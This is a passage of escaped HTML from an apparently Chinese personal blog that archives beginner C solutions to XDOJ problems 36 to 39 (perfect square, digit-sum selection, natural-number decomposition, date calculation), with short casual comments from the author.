class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;math.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e curr, prev, res, a, i, tmp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026gt;= \u003cspan class=\"number\"\u003e2\u003c/span\u003e \u0026amp;\u0026amp; a \u0026lt;= \u003cspan class=\"number\"\u003e30\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, res = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; a; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;prev);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;curr);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eabs\u003c/span\u003e(curr - prev) \u0026gt; res)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = \u003cspan class=\"built_in\"\u003eabs\u003c/span\u003e(curr - prev);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e prev = curr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"36-完全平方数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#36-%E5%AE%8C%E5%85%A8%E5%B9%B3%E6%96%B9%E6%95%B0\" class=\"headerlink\" title=\"36.完全平方数\"\u003e\u003c/a\u003e36.完全平方数\u003c/h3\u003e\u003cp\u003e前面有个同学问到过这个。需要注意,\u003ccode\u003e==\u003c/code\u003e的使用前提是两边的数据类型相同,所以可以这么写:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(a) - (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(a) == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e而不能这么写:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(a) == (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(a))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;math.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(a) - (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(a) == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(a));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;no\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"37-选号程序\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#37-%E9%80%89%E5%8F%B7%E7%A8%8B%E5%BA%8F\" class=\"headerlink\" title=\"37.选号程序\"\u003e\u003c/a\u003e37.选号程序\u003c/h3\u003e\u003cp\u003e做这题的时候又犯迷糊了。。其实只需要相邻两数依次比较就行。第一回做的时候直接来了个\u003ccode\u003eO(n!)\u003c/code\u003e的比较,纯属没睡醒。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecalc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, i, data, res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; a; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (calc(res) \u0026lt; calc(data))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (calc(res) == calc(data))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = res \u0026gt; data ? res : data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecalc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (num \u0026gt;= \u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e num % \u003cspan class=\"number\"\u003e10\u003c/span\u003e + calc((num - num % \u003cspan class=\"number\"\u003e10\u003c/span\u003e) / \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"38-自然数分解\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#38-%E8%87%AA%E7%84%B6%E6%95%B0%E5%88%86%E8%A7%A3\" class=\"headerlink\" title=\"38.自然数分解\"\u003e\u003c/a\u003e38.自然数分解\u003c/h3\u003e\u003cp\u003e其实好多时候都没有用函数的必要,除了必须递归的算法。\u003c/p\u003e\u003cp\u003e大多数时候,我这么用,只是用了自己总结的模板而已:大多数题都是输入数,经过处理再输出数。\u003c/p\u003e\u003cp\u003e重复的部分我是懒得再敲一遍的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecalc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e i)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e2\u003c/span\u003e * i - (a + \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; a \u0026lt; \u003cspan class=\"number\"\u003e30\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt; a + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d \u0026#34;\u003c/span\u003e, a * a + calc(a, i));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"39-日期计算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#39-%E6%97%A5%E6%9C%9F%E8%AE%A1%E7%AE%97\" class=\"headerlink\" title=\"39.日期计算\"\u003e\u003c/a\u003e39.日期计算\u003c/h3\u003e\u003cp\u003e怎么说呢,难度简单,就是做的有些晕。\u003c/p\u003e\u003cp\u003e果然下次还是得睡好啊(叹)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd 